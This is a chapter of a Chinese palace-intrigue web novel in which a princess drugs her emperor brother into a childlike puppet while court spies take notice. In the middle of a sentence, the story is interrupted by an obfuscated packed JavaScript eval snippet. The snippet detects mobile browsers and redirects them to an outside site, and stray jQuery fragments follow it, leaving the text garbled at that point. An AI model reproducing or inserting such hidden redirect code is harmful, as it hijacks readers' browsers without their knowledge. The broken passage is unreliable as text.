67.棠落烬余,署藏秘辛

作品:《萧墙龙影,九州潮

    萧念的身影彻底消失在养心殿外,殿内的甜香还未散尽,残留的腥气却愈发呛人。萧然僵立在窗前,指尖还沾着糕点碎屑,喉间的灼意顺着血脉一路蔓延,烧得他四肢百骸都泛起细密的疼。他垂着头,看着案几上袅袅升起的青烟,看着那半块糕点在香炉里化作焦黑的碎屑,眼底翻涌的情绪,终是被一阵突如其来的眩晕彻底吞没。意识像是被一只无形的手攥住,一点点往下沉,往下坠。


    窗外的海棠与柳絮,都成了模糊的色块。他踉跄着后退一步,脊背重重撞在雕花窗棂上,发出沉闷的声响。


    最后,他眼前一黑,身体不受控制地朝着冰冷的地面栽倒下去,沉重的闷响惊得殿外值守的太监慌忙闯了进来。


    再醒来时,周遭是一片嘈杂的人声,暖融融的光线晃得他睁不开眼。他费力地掀了掀眼皮,视线里是一张张模糊又陌生的脸,攒动的人影让他下意识地往床榻内侧缩了缩。


    “父皇,您没事吧?”


    是萧芮的声音,听闻萧然忽然晕倒,她连服装都没顾着理,连忙带着月恒赶来了皇宫。见萧然情绪不对劲,她伸手小心翼翼地探向他的额头。萧然浑身一颤,猛地偏头躲开,眸子里此刻只剩下全然的茫然与惶恐,像是完全不认识眼前的人。


    众人见萧然这样,立即围拢过去。萧霈尘凑近了些;“父皇,你怎么了?”


    萧芮是萧然平日最疼爱的女儿了,可是萧然现在的反应却是和对待陌生的反应没两样,刺得人心头发酸。萧芮还想再靠近些,却被旁边的江慕淳伸手拦住。


    江慕淳伸手想去碰碰萧然的脸颊,语气带着几分试探的揶揄:“咋滴了这是?傻了?”


    指尖刚要触碰到他的皮肤,萧然却像是被烫到一般,猛地往后缩了缩,眼神里的惊恐更甚,薄唇微微颤抖着,却一个字也说不出来。


    江慕淳的手僵在半空,人彻底懵了。


    众人也面面相觑,满室寂静之际,萧然的目光忽然越过人群,落在了殿门口。他的眼睛忽的亮了一下,像是迷途的人找到了方向。


    众人顺着他的视线望去,只见萧念正立在门口,她不知道站了多久,正将手中那柄刻着“念”字的玉鞭递给身旁的太监。


    “阿姐…”


    萧然哑着嗓子,吐出两个字,声音里带着浓重的鼻音,还透着几分委屈。不等众人反应过来,他竟撑着发软的身子,从床榻上下来,跌跌撞撞地朝着门口跑去,像个受了天大委屈的孩子,一头扑进了萧念的怀里。


    他紧紧抱着萧念的腰,脑袋埋在她的衣襟里,肩膀微微耸动着,竟是带着几分哭腔。“我怕,他们是谁呀?”这副全然依赖、毫无防备的模样,看得满屋子的皇子公主目瞪口呆。


    江慕淳先是怔了怔,随即像是明白了什么,脸色瞬间沉了下来。


    她一言不发地走上前,伸手攥住萧念的手腕,力道大得惊人,也不管满屋子的孩子,拽着她就往殿外走。


    两人一路走到廊下,风携着海棠的香气吹来。她甩开萧念的手,目光里带着难得的怒意:“念念,你做了什么?”


    萧念理了理被扯皱的衣袖,觉得有些莫名其妙:“什么做了什么?你不是日日嫌他不顾家,嫌他心思不在孩子身上吗?我现在给你一个听话的夫君,你不开心吗?”


    “我没让你把他整成个傻子呀!”江慕淳的声音陡然拔高,“他好歹是你的亲弟弟!你怎么能这么对他?”


    “什么傻子?”萧念挑眉,语气里带着一丝冷意和不悦,“他是萧国的天子,怎么会是傻子?”


    “他这个样子,不是傻子是什么?”江慕淳指着殿内的方向,“他连自己的女儿都不认得了,只认得你!你说,这和傻子有什么区别?”


    萧念嗤笑一声,缓步走到廊下的栏杆旁,指尖拂过栏杆上雕刻的缠枝莲纹,语气轻飘飘的:“你得往好地方想。傻子又怎么样?他这张脸,不还是一样好看?不耽误你和他做寻常夫妻,也不耽误你和他通房。”


    她侧过身,看着江慕淳泛红的眼眶,语气软了下来:“而且你看,他现在这个样子,再也不会去找别的女人,再也不会沾花惹草,再也不会想着和我争什么。多好。”


    “你胡说什么?!”江慕淳气得浑身发抖,指着萧念的鼻子,声音里带着浓浓的失望,“你别以为我不知道你怎么想的!你想要一个听话的傀儡!一个任你摆布的傀儡,可他好歹是你的亲弟弟,是我的夫君,血浓于水,你怎么能给他下这种药?亏你想得出来!”


    廊下的风,忽然变得凛冽起来,吹落了满树的海棠花瓣,纷扬如雪,落在两人的肩头,无声无息。


    萧念看着江慕淳愤怒的模样,脸上的笑意缓缓敛去,眼底只剩下一片深不见底的寒意。“亲弟弟吗?”她低声重复着这两个字,缓缓抬起手,指尖拂过胳膊那道早已愈合、却依旧狰狞的疤痕。


    那道疤,是萧然亲手砍的。


    为了苏朝歌……


    那时,他看她的眼神,哪里还有半分姐弟情分,分明是看仇人的模样,恨不得将她凌迟处死。他只记得自己是傀儡,却忘了,是谁在他身陷囹圄时,以身涉险,将他从鬼门关拉回来;是谁在他羽翼未丰时,替他挡住了明枪暗箭;是谁在他犹豫不决时,杀伐果断,为他稳固了江山。“我只是如他所愿。”


    “他不是嫌傀儡的日子不好过吗?那我就让他当一辈子的傀儡。”


    “这一次,没有猜忌,没有反抗,没有那些心心念念的女人。”她微微偏头,看向江慕淳,“他的眼里,只会有我这个阿姐。他的命,他的身,他的魂,都将属于我。”


    “这样,多好。”


    江慕淳怔怔地看着她,看着她眼底那片深不见底的黑暗,浑身的血液,仿佛都在这一刻凝固了。这不是她的念念,她的念念虽然荒唐但从不会是这个模样……


    萧念抬手,轻轻拂去肩上的花瓣,“你放心,”她垂眸,“他会是个好夫君,好父亲。他会听话,会温顺,会守着你,守着那些孩子,守着你想要的安稳。”


    “至于那些朝堂纷争,那些腥风血雨,”萧念的唇角,再次勾起一抹笑,“有我在,轮不到他操心。”


    风,愈发凛冽了。


    吹得海棠树的枝叶,发出沙沙的声响。


    “阿姐……”萧然的声音从屋内传出来,带着急切。


    萧念的目光,柔和了一瞬。


    她转过身,朝着殿内的方向走去。


    江慕淳站在原地,看着她的背影,忽然觉得,漫天的海棠花,都像是染了血。她伸出手,想要抓住什么,却只捞住了一手的冷风。


    指尖的凉意,顺着血脉,一路蔓延到心底。“萧念!你回来。”她喊道。


    可那人像是没听见一般,脚步连顿都没顿。殿门被身后的太监轻轻合上,隔绝了外面的风雨,也隔绝了江慕淳的情绪。几日后的养心殿暖阁里,熏笼燃着上好的银骨炭,暖意融融地漫开,混着殿角铜炉里飘出的檀香,织成一片静谧的氤氲。萧然歪在铺着软垫的座椅上,指尖无意识地揪着披风的穗子,眼神空茫地落在殿外,像是在看什么,又像是什么都没看见。


    殿门被轻轻推开,带着一阵浅淡的脂粉香,季诗菀缓步走了进来。她今日穿的是一套以烟紫与素白为底色,内层是一袭素白暗纹交领,领口与袖口缀着细碎的银线,在光线下泛着粼粼微光,宛如月光落在雪上。外层的大袖衫用了近乎透明的烟紫色薄纱,如烟似雾,仿佛把一身的风都揉进了褶皱里。腰间同色系的花型系带松松挽住,几朵布艺紫花垂在腰侧,像晚春落在衣袂上的紫藤残瓣。


    最动人的是那层曳地的裙摆,由浅到深的晕染紫与朦胧白交织铺开,走动时如流云垂落,又似将一片暮色烟霞都穿在了身上。搭配的长辫乌黑如瀑,垂在素白交领间,更衬得这一身紫衣胜雪。


    “儿媳请父皇安。”她屈身行礼,声音温婉动听,带着恰到好处的恭敬。


    话音落下,暖阁里却一片寂静。


    季诗菀直起身,抬眼看向椅子上的萧然,眉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038780|193417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头微微蹙起。往日里,即便萧然对她算不上热络,也总会颔首示意,或是随口应一声,可今日,他却像是没听见一般,依旧维持着原来的姿势,眼神空茫地望着远方。


    “父皇?”她又唤了一声,试探着往前迈了两步。


    这一次,萧然终于有了反应。他像是被这声呼唤惊扰,猛地转过头,看向季诗菀的眼神里满是陌生,甚至带着一丝诡异的惶恐。他下意识地往内侧缩了缩,薄唇微微抿着。


    季诗菀心头一沉。


    不对劲。


    这几日宫中一直在传,说陛下晕倒后性情大变,她只当是为了骗萧念的策略,可如今瞧他看向自己的眼神,干净得没有一丝杂质,只有纯粹的茫然与畏惧,仿佛她是什么洪水猛兽。这分明是……认不得人了?


    “父皇?”她试探着往前迈了一步,声音放柔了些,“儿媳是诗菀,堇沂的妻子,您的儿媳啊。”就在她手快要搭上萧然的那一刻,身后忽然传来一道清冷的女声“六皇子妃。”


    季诗菀浑身一僵,下意识地转过身。只见萧念从屏风后走出,她手中把玩着一枚玉扳指,指尖划过冰凉的玉面,眼神落在季诗菀身上,那目光带着探究,腰间的玉鞭随步履轻晃。萧然见了萧念,像是找到了主心骨,眼睛里面亮了。


    “侄媳给姑姑请安。”季诗菀迅速敛去脸上的诧异,恢复了平日的模样,屈身行礼


    萧念微微颔首,目光掠过椅子上瑟瑟发抖的萧然:“陛下近些日子身体不适,精神不济,怕是认不得人了。六皇子妃的心意本宫知晓,你先退下吧,改日再来看望便是。”


    “是…”季诗菀心头虽有不甘,也察觉到此事绝非“身体不适”那般简单,可在萧念的威压下,她终究不敢造次。她清楚,此刻若是执意留下,只会引火烧身。


    “侄媳告退,愿父皇早日康复。”


    说罢,她转身缓缓退出殿外。殿门在身后轻轻合上,隔绝了里面的暖香与那抹令人心悸的氛围。季诗菀走到廊下,方才维持的温婉面具瞬间碎裂,眼底翻涌着惊疑与凝重。她抬头望向养心殿的琉璃瓦,阳光洒在上面,泛着冰冷的光泽。萧然的模样,绝不是简单的身体不适。认不出人,神情惶恐,唯独对萧念依赖至极……这背后,定然有不为人知的隐情。


    而萧念方才的反应,太过平静,平静得像是早就预料到会发生这一切。


    一个可怕的念头在季诗菀心底悄然升起。


    她转身,快步朝着宫门外走去,这件事,太不寻常了。


    萧念……一定是萧念搞的鬼。


    这个女人…手段远比他们预想的更狠辣,这件事,必须立刻向组织汇报。如今主子失势,他们若是再按兵不动,迟早会被萧念逐个击破。必须尽快拿出应对之策,否则,他们筹谋多年的计划,终将付诸东流。


    而西侧的朱红宫墙后,爬满了深绿的爬山虎,叶片层层叠叠,织成一道天然的屏障。阴影里,两道修长的身影静立不动。沈漉允手中捏着一份封皮暗纹的档案,指尖摩挲着“知微署”三个字。她的目光透过叶片的缝隙,精准地落在廊下的季诗菀身上,将她脸上的神色变化尽收眼底——从最初的恭敬温婉,到察觉异常后的惊疑凝重,再到转身离去时的步履匆匆,每一个细微的表情都未曾逃过她的视线。


    身旁的沈行裴目光掠过养心殿的殿门,又转向季诗菀远去的背影,眉头微不可察地蹙了蹙。风拂过爬山虎的叶片,发出沙沙的轻响,他的声音压得极低,如同耳语般传入沈漉允耳中:“咱们这个舅舅,还真是不简单。这身边可真的是……到处都是眼线。”


    语气里听不出太多情绪,沈漉允低头看了眼手中的“知微署”档案,知微署是他们暗中经营多年的情报组织,专门搜集朝堂内外的隐秘之事。这份档案里,恰好记录着季诗菀的背景——


    “要告诉娘吗?”沈漉允侧过头,看向沈行裴。


    沈行裴却摇了摇头,目光依旧锁定在季诗菀消失的宫道尽头,声音冷静得近乎淡漠:“不必。”